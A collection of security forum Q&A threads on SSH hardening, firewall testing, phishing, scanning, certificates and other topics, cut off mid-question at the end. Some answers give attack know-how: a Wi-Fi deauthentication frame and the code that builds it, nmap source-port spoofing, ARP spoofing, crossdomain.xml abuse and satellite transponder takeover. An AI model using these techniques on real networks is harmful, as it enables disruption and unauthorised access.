Checking for dangerous/invalid SUID/SGID binaries in $PATH
umask (027) so new files are covered by default

Similar answer is Securing restricted shell environments, but in my opinion doesn't cover the specific use-case of mine.

why do you want to provide shell-access? if it is something like services-restart or defined task that might be executed via scripts, use a simple, shell-based task-manager that allows only defined actions (or better, use a tool like rundesk/jenkins to provide the same tasks to you clients via webinterface)

if you need full shell-access, well, either chroot or live with the consequences :)

regardings ssh:

make sure your keys are pw-protected
generate keys yourself, if you can
forbid pw-login
put ssh onto another port if possible
use sudo and tight NOPASSWD - definitions, e.g restrict to /etc/init.d/apache reload instead of /etc/init.d/apache2  which would allow stop too

your umask 027 might break stuff, expecially if you allow fileupload via scp.


Debian 8 and few questions about Graphical Firewall? I have installed Debian 8 today, and so far so good. What I want to achieve now is to install firewall but can't find Firestarter in repos (discontinued ?). So, I have installed a GUFW and set it up.

After some time running GUFW, it spits out some errors and the Graphical Interface is closed. Because of that I'm afraid that my firewall might not work correctly. Is there any way I can test or check if my firewall is working correctly as it should?

For the set of firewall rules that you have created, you can create tests for each of those rules. I accomplish this in organizational settings by using tools such as hping or scapy.

If you are familiar with the concept of unit tests, it works the same way. I run a listener on the protected host and send packets to it that have been crafted to test each rule in the rule set. In this way, you can test the effect of changes that you make, and ensure that your expectations are met at any point in time.


Strange unsolicited email sent to almost never used email address What initially looked like typical spam now seems extra odd and is bugging me (only figuratively I hope).

Ostensibly, a sales rep from DomainNameSales.com (DNS), which I'd never heard of, sent an unsolicited sales pitch to an almost-never used email address of mine offering a domain name for sale I'd never considered.

Among bottom-feeder types, i.e., the world of hording and selling domain names, this group seems somewhat legit, but I can't figure out how the heck they got my weird email address I'd forgotten. Searching the web for this odd address yielded zero results in DuckDuckGo and Google. I apparently configured the acct years ago to forward to an active address of mine, which labeled the forwarded email and made the spam stand out like a sore thumb in my inbox.

I checked the real contact info for corresponding private whois domains I manage and confirmed I hadn't used the odd address there. Now I wonder if my old odd email acct was hacked (I didn't know its password and failed to answer the security questions but regained control via its parent email acct).

Meanwhile, the same salesperson from domainnamesales has sent 4 or 5 messages to the same odd address asking me to make an offer.

This smells exceptionally bad because (1) I've never received any other email at this address before including spam! and (2) the offered domain is plausibly related to my real name even though the body's salutation has the wrong first and last name.

It's creeping me out like it's a spear phishing campaign.

Anyone else seen this? I searched domain-name forums (yuck) and couldn't find anything about this under "warnings" and "scams."

If it wasn't for the address they sent it to, I would've just trashed and ignored the messages. It's like receiving a forwarded package addressed to an abandoned cabin you bought but only used once or twice 6 years ago.

A critical piece of information is, is your old mail account - not its password - easily guessable and related to you?

For example, my old ADSL company by default assigned me an authenticating username (only valid on copper, so totally superfluous - if I can authenticate at all, then I'm physically connected!). I never used it anywhere.

But if my name is Mario Rossi and my email is mrossi@gnail.com, and I use ThatProvider, then I surely have also a Mario.Rossi@ThatProvider.it address.

I too set up a forwarding, thinking that the company would send there some email of interest to me (such as "Service Interruption Next Thursday"). (Actually they never did, and used my public email address instead. But I sort of forgot/didntcared the forwarding in place).

And so a coupla years ago some smart guy generated

for name in MostFrequentItalianNames:
    for surname in MostFrequentItalianSurnames:
        address = name + "." + surname + "@ThatProvider.it"

and let fly with a million emails. I got two of them.

(On an unrelated note, it got even better. From my IP on a Usenet post, my name and surname could be garnered as well as the fact that I was a ThatProvider customer. A targeted attempt using "Name.Surname@ThatProvider.it" as login, and passwords from { Name, Surname, admin, password, apritisesamo, pippo, pluto, topolino... } on my home router HTTP remote administration interface immediately followed).

So, if your old account is similarly generated, and there is a relation between your old name/surname and the domain being offered OR some googleable connection between same, this could have happened to you too.


Adding a static token to ZAP vulnerability scanner I am currently trying to get the OWASP ZAP scanners working on a peculiar website.

When authenticated on this website, each GET request needs a "token" (most likely a anti-CSRF token) as a parameter.

Otherwise, a 302 redirect to the disconnect page is sent back by the server.
Is there a way to add this parameter to the ZAP scanners?

There will be a way to handle this, but it will all depend on the details. Does the token change? If so where can it be obtained from? ZAP supports scripts that can change anything in the requests and responses, but in this case you'll have to know where to get the required token from.


Can I send/receive HTTP requests/responses with a subdomain on a crossdomain.xml file? (I'll use website.com in place of the actual domain as to not disclose any specific website vulnerability)

I noticed on a website that their crossdomain.xml file allowed access from another website with this code: <allow-access-from domain="*.website.com"/>

I knew this wasn't a vulnerability, but I checked on that domain that it gave access to, and I was able to take over one of their subdomains.

Now I took over m.website.com (it was an expired bucket) can I use it to send/receive HTTP requests/responses? (I don't want to actually take over the subdomain, but I want to answer this question so I can report it)

I was trying to figure this out myself but I really don't understand if it would work or not, since I'd technically be sending them from the S3 bucket.

Yes , you can by using flash .

I did that before Leak the content of page by using misconfiguration crossdomian.xml file

Here is a useful reference that I used  Exploiting misconfigured crossdomain.xml files


I am hoping someone can shed some light on these nmap scan results I am concerned that a friends computer may be compromised. They were complaining about the computer getting really hot, difficulty maintaining an online connection, finding unread non junk emails in the trash, etc..  so I just did a very basic nmap scan of their IP nmap -Pn -A xx.xx.xx.xx. The results of this are as follows:

PORT     STATE    SERVICE       REASON          VERSION
21/tcp   open     tcpwrapped    syn-ack ttl 64
22/tcp   open     ssh           syn-ack ttl 42  OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
53/tcp   open     domain        syn-ack ttl 42
80/tcp   open     http          syn-ack ttl 42  Apache httpd 2.2.16 ((Debian))
111/tcp  open     rpcbind       syn-ack ttl 42  2 (RPC #100000)
514/tcp  open     shell?        syn-ack ttl 42
3389/tcp filtered ms-wbt-server no-response
4899/tcp open     radmin        syn-ack ttl 105 Famatech Radmin 3.X (Radmin Authentication)

rpcinfo:
   program version   port/proto  service
   100000  2            111/tcp  rpcbind
   100000  2            111/udp  rpcbind
   100024  1          38460/udp  status
   100024  1          48666/tcp  status

It also lists the ssh-hostkey and then underneath that are listings for ssh-dss and ssh-rsa. I don't really know enough to know what I'm looking at but several of these open ports have me concerned. I know this is not a ton of information, but based on this scan and keeping in mind that this person is not very computer oriented is there a cause for concern here?

The short answer is that open ports should not be alarming IN THE RIGHT CONTEXT. I perform pentests regularly and many of these ports are open for valid purposes. 514 is a little more uncommon, but not altogether unheard of for some applications, like gaming (if your friend games - this was not mentioned in OP) or sending syslogs.

With that being said, the context is important. Having port 80 and 4899 on a desktop, for instance, is a bit out of context - however, I have run some instances of software and used the localhost:80 to use a GUI (nodered, spiceworks inventory, etc). I agree with the comment above that this looks more like a router than a laptop. If the IP scanned ends in .1 or .254, it's almost certainly a router.

The more important question is not what ports are open, but what services and software are running behind them. Port 3389 is for RDP - is this a server that needs RDP, for instance? If not, you certainly want to disable RDP, as that presents an attack surface.

Instead of checking for open ports, use an AV scanner with up to date definitions and signatures. The trouble is that some malware blocks AV installs, so if you have trouble installing it, that would throw up red flags. I highly recommend malwarebytes as a good first step in scanning.

In the meantime, it would not hurt to disable your network adapters until you can run a full scan of your entire disk.


Can an ethernet device plugged into a switch block all the other ethernet devices? And if so, what protections are available against this kind of thing?

If you want to block devices on a local network with your malicious device connected, you could do something called ARP Spoofing. It can be used to do a man in the middle attack. But you can also just redirect all the packets coming from other devices to you and drop them.
You do that by using the ARP protocol and telling that your malicious device MAC address is associated with the IP address of another host (the gateway for example).

There are host-based solution to prevent this attack whoch are also available on the previous link.


Session Expiry due to weblogic.xml for mitigation of cookie hijacking? To ensure strict security at web application, we tried to mitigate cookie hijacking by adding code to weblogic.xml. Following is what we did:

Example that we had applied on weblogic.xml and faced session expiry issue.

  <param-name>CookieName</param-name>

  <param-value>I</param-value>

     </session-param>

        <cookie-secure >true</cookie-secure>

     <!--<cookie-http-only>true</cookie-http-only>-->

We implemented this line to ensure secure cookies:

<cookie-secure >true</cookie-secure>

However due to this, we are facing session expiry and I was looking for any alternate solution to come-by keeping cookies secure - is there any alternate solution for the secure cookie?

EDIT: We're using these below versions and other details. The initial answers provided did not support the documentation here.

Server info: WebLogic Server 10.3 Fri Jul 25 16:30:05 EDT 2008 1137967
Servlet version: 2.5
JSP version: 2.1
Java version: 1.6.0_05
Server

I needed a solution around this configuration.

I am not sure if I completely understood the issue, but here are my suggestions:

If the HTTPOnly Cookie flag is set then:

 {
 <session-config>
 <cookie-config>
 <http-only>true</http-only>
 </cookie-config>
 </session-config>
 }

If the session ID is transmitted in an URL parameter, try to dump it and see if there is there any counter running on it:

 {
 <session-config>
 <tracking-mode>COOKIE</tracking-mode>
 </session-config>
 }

Next, try to increase the expiration time and then try to migrate it securely. If it is not configured well you might be able to:

Increase the expiration time:

 {
 <session-config>
 <session-timeout>Time Period(In minutes)</session-timeout>
 </session-config>
 }

Please notify me if I understood the question incorrectly.


Attacker able to install screen capturing software in Windows 7 guest account I am operating in a guest account of Windows 7.

Could an attacker that got onto my PC through malware I installed, install a video program that records everything I do and send the result back to his server without knowing my admin password in the first place?

The reason why I am asking this is that for some actions, i.e. system backups, it does not seem enough sometimes to copy and paste the password from KeePassX, but I need to show the password unencrypted first in KeePassX and copy and paste it that way.

That something is installed under guest account does not mean it operates under those priveledges, the priveledges of the program are checked on startup by the user, it could still run in the background (i.e. the keylogger).

And even so, if you install it yourself, there is a high chance you installed it as the Administrator, mostly when a program is installed, its installed for all users (if the users are local).

Best course of action is te delete any programs that seem off from your PC using the build-in software removal tool, or something like CCleaner.

Also, make sure after removal, or if you cant find anything off, you scan your system with a good malware scanner like Malwarebytes, or your own preferred AV/AW, after you made sure it's up to date ofcourse.


Long Passwords: How are they more secure? Possible Duplicate:
  XKCD #936: Short complex password, or long dictionary passphrase?

How are long passwords more secure? The only situation in which I can accept long passwords are more secure is when someone is literally standing behind you, seeing what you are typing.

When it comes to someone using a Keylogger or Sniffer, the password length doesn't matters at all, your password will get compromised no matter what. Yet, at a lot of places I read/hear that long passwords are more secure. How?

Can someone mention some other situations in which long password will not get compromised whereas smaller will?

Short Answer

Long, complex passwords make you less susceptible to brute-force attacks. Each time you add either an additional character set (e.g. a-z, A-Z, 0-9, special symbols, etc.) or increase the character length of your password, you're exponentially increasing the total number of possibly correct passwords (i.e. the bits of entropy), and that means it will take longer for a brute force program to guess the right one.

Note that for this to work the password must be both long and complex. The password "123456789" is nine total characters, but will likely be guessed within the first dozen or so attempts.


Best Practice: ”separate ssh-key per host and user“ vs. ”one ssh-key for all hosts“ Is it better to create a separate SSH key for each host and user or just using the id_rsa key for all hosts to authenticate? Could one id_rsa be malpractice for the privacy/anonymity policies?
having one ssh-key for all hosts:
~/.ssh/id_rsa
~/.ssh/id_rsa.pub

in comparison to separate ssh-keys:
~/.ssh/user1_host1
~/.ssh/user1_host1.pub
~/.ssh/user2_host1
~/.ssh/user2_host1.pub
~/.ssh/user3_host2
~/.ssh/user3_host2.pub
~/.ssh/user4_host3
~/.ssh/user4_host3.pub
... etc.

A private key corresponds to a single "identity" for a given user, whatever that means to you. If, to you, an "identity" is a single person, or a single person on a single machine, or perhaps a single instance of an application running on a single machine. The level of granularity is up to you.
As far as security is concerned, you don't compromise your key in any way[1] by using it to log in on a machine (as you would by using a password), so having separate keys for separate destinations doesn't make you any more safe from an authentication/security perspective.
Though having the same key authorized for multiple machines does prove that the same key-holder has access to both machines from a forensic perspective. Typically that's not an issue, but it's worth pointing out.
Also, the more places a single key is authorized, the more valuable that key becomes. If that key gets compromised, more targets are put at risk.
Also, the more places the private key is stored (say, your work computer, your laptop, and your backup storage, for example), the more places there are for an attacker to go to grab a copy. So that's worth considering as well.
As for universally-applicable guidelines on how to run your security: there are none. The more additional security you add, the more convenience you give up. The one piece of advice I can give categorically is this: keep your private key encrypted. The added security there is pretty significant.

[1]: There's one important way in which authorizing the same SSH key in different security contexts could be a problem, and that issue has to do with agent forwarding. The constraints and caveats around safely using agent forwarding is outside the scope of this question though.


Easy explanation of SSL client certificates for a developer I've been thinking about using client certificates for my web apps, desperately hoping for security-conscious users to put their private key on HSMs so they don't get stolen even if the machine is compromised, and the added benefit of completely forgetting the login page is also nice (the user would be logged in from the first request as long as the client cert is presented).

However, from what I have read it seems so complicated to implement and I'm completely lost (I'm quite ashamed of asking such a newbie question).

Should I really be operating a PKI and issuing the certs myself? If every site does this, users would have an entire folder full of different certs, which is the equivalent of a passwords.txt in terms of usability. Even if everyone (ie. the rare sites that do use client certs) does it, I'd like to avoid adding yet another cert in that directory if possible, and let users reuse certs they already have, if any.

Is there a way of making them behave just like SSH keys, the user presents any key during signup and that key is bound to the account?

About verifying them in my app, most documentation I've found makes the web server check the certs against a CA (my own CA in this case, which brings us back to the PKI problem) and setting an environment variable if the cert is trusted ... that wouldn't work in my case as I'd like to get rid of the CA and have the clients provide their own certs, so based on the fact that I can't rely on checking them against a CA, what can I check them against? Do client certs have the equivalent of the SSH public key I can just store in my DB and check against that?

Finally, how would a new customer go about signing up to my website; he's asked to present a cert and he doesn't have any, how does he generate one?

Edit: I realise that this may not be clear from the answer below... but from the point of view of your application, it doesn't really make any difference whether you run the PKI/CA yourself or whether you use one or more third-party CAs. Even if you choose to run your own PKI, you really don't want to code it yourself - so you'd use one of the existing ones, which would be logically separate from the application, and any interaction with the CA would be via the usual protocols. End of edit

  Should I really be operating a PKI and issuing the certs myself?

As a general rule, unless you already know how to run a PKI, you shouldn't be doing it. It's a lot more complicated than you'd think, and a lot more ways that things can go wrong. Even companies that do PKI as their core business get it wrong sometimes; see Diginotar who had their certificate infrastructure hacked and eventually went bankrupt.

Allowing third-party certificates, especially by multiple CAs, has its own pitfalls. I have a smartcard that contains my electronic ID that I use to access my bank and several government sites. But I might also have a "soft" certificate that I use to access other things. If your site would accept both those certificate authorities, would you have any way to know that those two certificates refer to the same person (or user)? Would you want to have one user per certificate, or would you want one user to be able to use more than one certificate? What happens when a certificate expires - how would you know that my new certificate still refers to me? These questions need to be considered carefully when you design your applications and chains of trust.

  Is there a way of making them behave just like SSH keys, the user
  presents any key during signup and that key is bound to the account?

This is just a Small Matter Of Programming... (In other words, not so small, but not impossible.) You'd probably want some way for the user to add/remove certificates, too.

  About verifying them in my app, most documentation I've found makes
  the web server check the certs against a CA (my own CA in this case,
  which brings us back to the PKI problem) and setting an environment
  variable if the cert is trusted ... that wouldn't work in my case as
  I'd like to get rid of the CA and have the clients provide their own
  certs, so based on the fact that I can't rely on checking them against
  a CA, what can I check them against? Do client certs have the
  equivalent of the SSH public key I can just store in my DB and check
  against that?

You wouldn't save the entire certificate, you'd just save enough information that you can verify the certificate the next time the user presents it. This would usually be the certificate serial number, the CN and the issuing CA. You might also want to store the expiry date, so that you can remind users to renew their certificates before they expire. (This could of course be done when you check their certificates at login time, but it might be wise to store the data so you can email a reminder in case they don't login during the time they would have got the warning.)

Even when a certificate is issued by a third-party CA, the certificate will contain information about how you can verify its validity. This will usually be by OCSP (Online Certificate Status Protocol), which is a real-time check against the issuing CA's database. There's also CRL, a Certificate Revocation List, which contains information on which certificates are revoked by the CA. This is not real-time; the CRL will be re-issued at intervals.

  Finally, how would a new customer go about signing up to my website;
  he's asked to present a cert and he doesn't have any, how does he
  generate one?

If you choose to use third-party CAs, you should give them a link to one or more of the CAs you trust.

If you run your own CA, you'd give them a link to that CA, which would have to be configured to allow (previously) anonymous users, as well as existing users, to request a new certificate.

Finally, if you want to have a look at setting up a PKI, you could try out EJBCA, an open-source CA/VA. It will give you a basic idea of the complexities involved.


Why is it better to use ports 20 and 53 as source ports when portscanning? I read that if a server is inside a DMZ behind a stateless firewall, it is a good idea to use ports 20 and 53 as source ports when conducting port scanning. Why is this a good idea? I guess the firewall will most likely not filter FTP and DNS data?

You guessed correctly.
According to the Nmap Reference Guide:

--source-port <portnumber>; -g <portnumber> (Spoof source port number)
One surprisingly common misconfiguration is to trust traffic based only on the source port number. It is easy to understand how this comes about. An administrator will set up a shiny new firewall, only to be flooded with complaints from ungrateful users whose applications stopped working. In particular, DNS may be broken because the UDP DNS replies from external servers can no longer enter the network. FTP is another common example. In active FTP transfers, the remote server tries to establish a connection back to the client to transfer the requested file.
Secure solutions to these problems exist, often in the form of application-level proxies or protocol-parsing firewall modules. Unfortunately there are also easier, insecure solutions. Noting that DNS replies come from port 53 and active FTP from port 20, many administrators have fallen into the trap of simply allowing incoming traffic from those ports. They often assume that no attacker would notice and exploit such firewall holes. In other cases, administrators consider this a short-term stop-gap measure until they can implement a more secure solution. Then they forget the security upgrade.
Overworked network administrators are not the only ones to fall into this trap. Numerous products have shipped with these insecure rules. Even Microsoft has been guilty. The IPsec filters that shipped with Windows 2000 and Windows XP contain an implicit rule that allows all TCP or UDP traffic from port 88 (Kerberos). In another well-known case, versions of the Zone Alarm personal firewall up to 2.1.25 allowed any incoming UDP packets with the source port 53 (DNS) or 67 (DHCP).

A 2005 answer in Seclists.org provides a quote from a previous version of the Reference Guide:

--source_port <portnumber>
Sets  the source port number used in scans.  Many naive firewall and packet filter installations make an exception in their ruleset  to  allow DNS (53) or FTP-DATA (20) packets to come through and establish a connection.  Obviously this completely subverts the security advantages of the firewall since intruders can just masquerade as FTP or DNS by modifying their source port.   Obviously  for  a  UDP  scan  you  should try 53 first and TCP scans should try 20 before 53.  Note that this is only  a  request  -- nmap will honor it only if and when it is able to.  For example, you can't do TCP ISN sampling all  from  one  host:port  to  one host:port, so nmap changes the source port even if you used this option.  This is an alias for the shorter, but harder to  remember, -g option.


What would one need to do in order to hijack a satellite? I realise this borders on sci-fi, but there's been some interesting demonstrations regarding security of various satellites.

What would be required to hack a satellite (in general terms, any hack really)? Are they all basically connected in the same way, or would I need different equipment, software, or otherwise. Are there different encryption algorithms in use? What communication protocols would I use? How should I pick one? What are the legal repercussions of doing so?

Generally, I'd like to find out how secure these computers flying above us really are, as not much is discussed about them in terms of security.

  This question was IT Security Question of the Week.
  Read the Feb 4, 2012 blog entry for more details or submit your own Question of the Week.

Overview

First, I learned a lot of my information from a combination of my amateur radio experience and an awesome talk I sat in at DEFCON 18. The majority of satellite systems are simple repeaters. The signal that comes in on a transponder is cleaned, amplified, and retransmitted. If you know the location and input frequency, and you pump more effective radiated power than anybody else, you win.

Many satellites also require command modules. These are used to interpret instructions to boost back into orbit or at the end of life, de-orbit into a "graveyard" pattern (or right into the atmosphere itself). Because most satellite systems are custom, it is a real crapshoot what you see for commands and security. I suspect that most command sequences are unencrypted and rely on the fact that a MITM attack on something in space is fairly hard.

Frequencies vary wildly from MHz to several tens of GHz. Your equipment needs to put out the right frequency through a dish that is the right size. Legally speaking, you will at a minimum foul the FCC or your national equivalent, by violating regulations on licensed broadcasting. Also, "birds" and airtime are expensive, so the civil liability if found can be bankrupting.

As far as taking a satellite transponder over is concerned, security relies on rarity of attacks, detection, and triangulation of the signal source. Then people come knocking on your door.

Finding a bird

First, you've got to have a target. Some satellites are geostationary, so they're easy. Other satellites have orbits that sending them in offset patterns around the world. The satellite will come into view at different elevations in the sky tracing different paths, so you'll need to know where it will be and how it will move in order to communicate.

Communications satellites tend to either be geostationary or part of a cluster of many satellites such that one or more is always in view of at least one ground station and any other point on the planet.

There are websites all over the place for this, and they often end up with military / disavowed satellites listed as people will track them with a telescope and then wonder why that one isn't listed yet.

Talking to a bird: Bands

Satellites operate on different frequencies, and the antenna used has to be sized to the frequency of the satellite. Most satellites operate in the microwave spectrum. The ubiquitous (in the United States) DirecTV / Dish Network antennas are usually on the higher end (smaller wavelength) of the spectrum. Because your signal has a lot of travel in its future and your target is small, your goal is to direct as much power in one direction as possible. Anything sent off to the sides, earth, etc. is wasted energy, so you will want an appropriately-sized high-gain antenna. Antenna design can be learned from amateur radio books on the topic.

Before someone chimes in and says, "You don't NEED a directional antenna and tracking motor," that's true... but it will help a hell of a lot. Just because your spot messenger or GPS doesn't have one doesn't mean you shouldn't use one if you can. It will keep your signal where you want it and limit the possibility of interference from or with other things using the same frequency. It also means that it will be harder for somebody to hunt you down. Being nicked just because you let strangers hear you might have some costs associated.

Talking to a bird: Protocol

Now we're getting a bit trickier. Some satellites are very simple, particularly amateur radio satellites. They receive a signal and they transmit that signal back. There are different variations of protocol, polarisation, modulation (QAM is a good one to understand), etc. If your target does more cleanup than just setting a noise floor and spitting things back out, you'll need to know that information as well.

Higher-level protocols may be standard IP/TCP, plaintext, encrypted, or some totally imaginary 17 bit codeword system that was dreamed up by a guy like Mel.

Taking over

You need to deliver more power to the right place with the appropriate protocol. Because almost every satellite is a custom design, that's challenging. If you goal is beyond simple re-broadcast, you're up against a big black box every time. Computers are small, low-power, and probably have next to nothing on them.

The best bet for MITM

If you can't afford to launch your own satellite, figure out where the ground station is and fly over it. Small aircraft are relatively cheap to rent (under $100 / hour to operate), tethered balloons may get high enough to have an effective angle, and if you're quite sneaky you can put something on the transmitter feed line itself.

Many smaller organizations rent their satellite time. I learned when I was 11 that the guy running the local news station's satellite truck is bored as hell when they're in between shots and will definitely show you all the cool things about his rig. Whatever he's renting is probably one of the easier things to get at because that has to be documented and relatively easy to work with.


Where does the GSM A5 key come from? Why isn't DH used? I've read this article about NSA allegedly stealing SIM cards from Gemalto which states:

  After a SIM card is manufactured, the encryption key, known as a “Ki,” is burned directly onto the chip. A copy of the key is also given to the cellular provider, allowing its network to recognize an individual’s phone.

Is it really so that each SIM card has a key which is later on used to encrypt the traffic using symmetric cryptography? That seems rather unfortunate, why isn't Diffie-Hellman key exchange used?

GSM was designed at a time when consumer products, in particular the first GSM phones and the smart cards, were a lot less powerful than they are today (at that time, a desktop computer was using, at best, a 16 MHz 68020 CPU or something similar). Asymmetric crypto could not be achieved within a reasonable time frame on these cards.

The shared key model is a problem, but not really the one you may think about. The goals of the protocol are:

To protect the confidentiality of the conversation against over-the-air listeners.
To establish some "proof" that the call really occurred, for billing purposes.

The confidentiality was never meant for anything else than the radio transmission between the phone and the nearest base station. It is not, never has been, and never meant to be, an end-to-end (ie. phone-to-phone) encryption system. Providers want to access the raw data, if only to be able to (re)compress the voice feed more aggressively than what the phone themselves do(*). In that model, the provider is, by definition, trusted. A "shared secret" model, with a key known to both the phone and the provider, is fine in that respect.

Of course, there is ample room for making mistakes, for instance by using a poor key derivation function or an even worse encryption algorithm. The shared secret model, though, is not at cause here.

It is for the second point that using a shared secret is suboptimal. If the secret is known to both the user's device and the provider, then anything that is computed relatively to this secret could have been computed by either the user or the provider. As such, it should not be usable as proof in a dispute between the user and the provider. The billing mechanism is thus at risk (though experience shows that, in practice, providers don't find it hard to obtain money from consumers). An "academically" better model would involve asymmetric signatures (so not DH, but rather DSA) where a phone would sign its request for opening or maintaining a communication channel.

(*) Of course, accessing the raw data also helps interception by legal authorities, but to my knowledge that is not the primary reason. In fact, end-to-end encryption is hard because both ends must agree on the protocol to use. Point-to-point encryption is way easier.


Security fields: AppSec vs. InfoSec vs. NetSec, etc When reading about computer security, there are a lot of different areas mentioned: Application Security, Information Security, Network Security, IT Security, etc. What are the distinct fields within the realm of computer security, and what are the differences between them?

Two points to consider: these are all relatively loose terms, and practitioners often have to be able to function in the roles of regular admins or programmers to be functional. That does not mean they have to be as efficient -- AppSec folks probably aren't as used to writing sorting algorithms, for example.

Information Security

Umbrella covering everything to do with information security. InfoSec specialists cover a wide range of topics and are skilled generalists. In a big company setup, they are your CISOs and managers. In a smaller company, they are your practitioners.

Application Security

Related more to software design and programming. AppSec specialists are familiar with programming and tend to focus on secure application design.

Network Security

Firewalls, IDS, VPNs; practitioners understand lots of application-specific protocols. Anything that flows through a router is in their world.

IT Security

Host-based security, domain controllers / auth servers, mandatory access controls systems. ITSec is focused inside of the system.


Suspicious text received from my # but I did not send it - is there definitely a virus involved, and if so who has it, the sender or receiver? A close friend texted me this morning asking if I meant to send that last text, noting it was suspicious. I asked for a screenshot of the text in question, and it is a text from my number with spam I did not send. The text said "Visit http://legacy.operator.com:8080/webgui/vm[...] to read your new mms." and it appears in-line with the actual dialogue I'd had with this person.

From my phone, I see no record of sending that text. They received it around 10am, and at 11:30am I received a text from an unrecognized # with similar spam but in German. An odd coincidence or just a sign spammers were active all around. In any case, because of the difference in timing, at least the German text couldn't have infected me and caused the text to my friend.

Neither of us clicked either spam attack's link. I expect the German one I received can safely be ignored. I'm uncertain about the other text which my friend received from my # and which I have no record of sending.

Does the text my friend received from my number imply one of us has a virus? I'm concerned this is the case because either a virus on my phone sent spam out to the # I contact the most (this friend), or a virus on my friend's phone brought up spam spoofed from the # they contact the most (me). How else would the spammer know to spoof from my # to my friend's # - of all the #s it could go to/come from, my friend and I are each other's top contact.

If it does imply one of us has a virus as I suspect, is there a way to tell who, or do we each need to take antivirus cleanup measures? We both have Android phones and I think the same carrier but different phone models and OS versions. We both have antivirus on our phones (WebRoot on my end, Norton on my friend's) and scans came back clean.

Related but doesn't answer my question, just clarifies tech involved:

Someone received a text from my iphone. I don't even have the number the text was sent to
https://en.wikipedia.org/wiki/SMS_spoofing

THere are two possible scenarios:  There is a virus on the sender's phone, or the SMS was spoofed, as per the SMS Spoofing link in your post. I think the most likely scenario is that there is a virus on your phone that WebRoot is not able to detect.  A good way to check is to ask some of your other contacts to see if they have received a similar text. If this were a virus, I would expect your other contacts to have received similar messages.

If this was done via SMS spoofing, this implies that whoever was trying to compromise the receiver's phone knew that the two of you had a pre-existing relationship, assuming they weren't just spoofing random numbers.  This would imply a targeted attack.


How to send Wi-Fi management frames from macOS? I realise that this question has been touched on before here. However, none of the solutions suggested solved my question and they all fail to answer the overarching question of how to send all types of Wi-Fi management frames.
Whilst Kismac2, aireplay-ng and scapy are mentioned, none of the previous answers solved my problem.
My aim is to be able to send de-authentication frames (and other management frames as well if possible) from the command line.
Whilst aireplay-ng is supposedly available for Mac; after running it, it actually does nothing. I feel that this is the same problem that many other Mac users have experienced. Furthermore, scapy seems to have the same sort of issues (Possibly due to the difficulty of putting an OSX Wi-Fi interface into monitor mode?).
A solution like scapy would be great as it would allow me to send other management frames too, like beacon frames. Finally, Kismac2 is not preferable as it has a GUI and I just want a simple, command-line-based, method of sending out these frames.
P.S. A tool which works for me for sending deauths is JamWiFi. But once again, it is GUI based. However, I would be interested to know how exactly that tool is able to send out the frames.

Seems like you're asking how JamWIFI sends a disassociation packet rather than anything else so I'll answer that. Firstly, looking at the Git repo we see the following:

libpcap provides a good point of abstraction for sending/receiving raw 802.11 frames at the MAC layer

This is the first half of the answer to your question, he's using libpcap. If you haven't heard of it before, it is a very large packet capture library but it can also do a bunch more here's the documentation.
The second half of the answer to your question lies in the code. I am by no means an Objective-C or C dev, however, if you take a look inside ANClientKiller.m we get an idea of how it sends a de-authentication request. Starting at the top of the code, we have the request itself defined as:
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"

You might be wondering what this packet does, so I'll tell you. The above packet is effectively an announcement which states that the receiver is no longer authenticated. Once this is sent, it causes the de-authentication, ironically in an attempt to re-authenticate. The trick here is that the request must be accepted & it must take immediate effect. That's all there really is to it. This is the same way that de-authentication takes place in Aircrack-ng. As well as other tools. Well, using the same packet at least.
As far as actually sending this packet goes, that is a bit more language specific. If you look further down the code you'll notice the following:
- (AN80211Packet *)deauthPacketForBSSID:(const unsigned char *)bssid client:(const unsigned char *)client {
    char deauth[26];
    memcpy(&deauth[0], DEAUTH_REQ, 26);
    memcpy(&deauth[4], client, 6);
    memcpy(&deauth[10], bssid, 6);
    memcpy(&deauth[16], bssid, 6);
    AN80211Packet * packet = [[AN80211Packet alloc] initWithData:[NSData dataWithBytes:deauth length:26]];
    return packet;
}

This is where you'll need to read up about memcpy if you're wondering on the specifics. Basically, this bit of code is preparing the packet to be sent.
Using memcpy it is taking the bytes from DEAUTH_REQ and copying the exact number of bytes to the destination. Once this is done we return the packet now with the DEAUTH_REQ inside it, as well as the BSSID (MAC address of the access point) and the client. This packet is now ready to be sent for a de-authentication to take place. If you were to keep sending this packet, you would keep de-authenticating the client from the access point to which they're connected.
You'll notice I have not included the code where the packet actually gets sent. This is because that entirely depends on what language you using to achieve this and what library and so there are too many specifics/nuances.
Hopefully that answers your question. If you would like to implement this yourself in another language, you could more or less take the code from JamWIFI only changing the nuances of your language & it would work, regardless of being on a mac. There is plenty of de-authenticating WIFI client implementations online already so you wouldn't need to re-invent the wheel.


What should I check on temporarily lost computer? I physically lost my laptop containing some sensitive information and it was picked up by a stranger. I was of course over confident and didn't have it password locked. He was very courteous in returning it the next morning but something about him struck me as a little odd.  I wanted to try to verify whether he had tried to copy any of my sensitive information.

I had gmail open at the time and so when he opened the computer gmail logged the IP address he connected to. I thought it was odd that it was an IPv6 address. I didn't think these were assigned by ISPs yet. I also did the easy checks- there was nothing suspicious in the browser history and my recent terminal commands were all things I had entered.

Is there anything else I can check? The items I would be concerned about are mass transfers or logins to websites with saved passwords. Obviously I'm never going to be able to check everything but I'd like to know about plausible next steps. Also, I'm on MacOS.

Of course, I've changed all my passwords and changed the system that led to the computer being physically lost.

It depends on your level of paranoia

Depending on the skills and maliciousness of this stranger there are many things he might have done.

Login to any account with credentials stored in your browser (easy)
Read your emails looking for sensitive info (easy)
Send spam emails to all of your contacts (easy)
Copy your documents to a USB drive (easy)
Clone your entire hard drive to extract things like credit card numbers and other sensitive info (intermediate)
Install some sort of virus to gain control of your laptop and spy on you at a later date (OS X can get viruses, they are just much rarer than Windows) (intermediate)

After changing passwords, you should probably scan for viruses. Apple's Customer Support can help you with this. If you're a really paranoid person, you might even want to reinstall OS X. Also, watch out for your identity being stolen in case Mr. Stranger found your credit card number or something similar when he potentially searched your hard drive.

IPv6

Many ISPs have already begun to partially implement IPv6. I have Comcast and I have IPv6 up here in Minnesota.


Is my server vulnerable to a perl exploit? I have a few worrying entries in my web server logs and I'm wondering if this means that my server is vulnerable.

Firstly, the following seems to fail, receiving a 404 response:

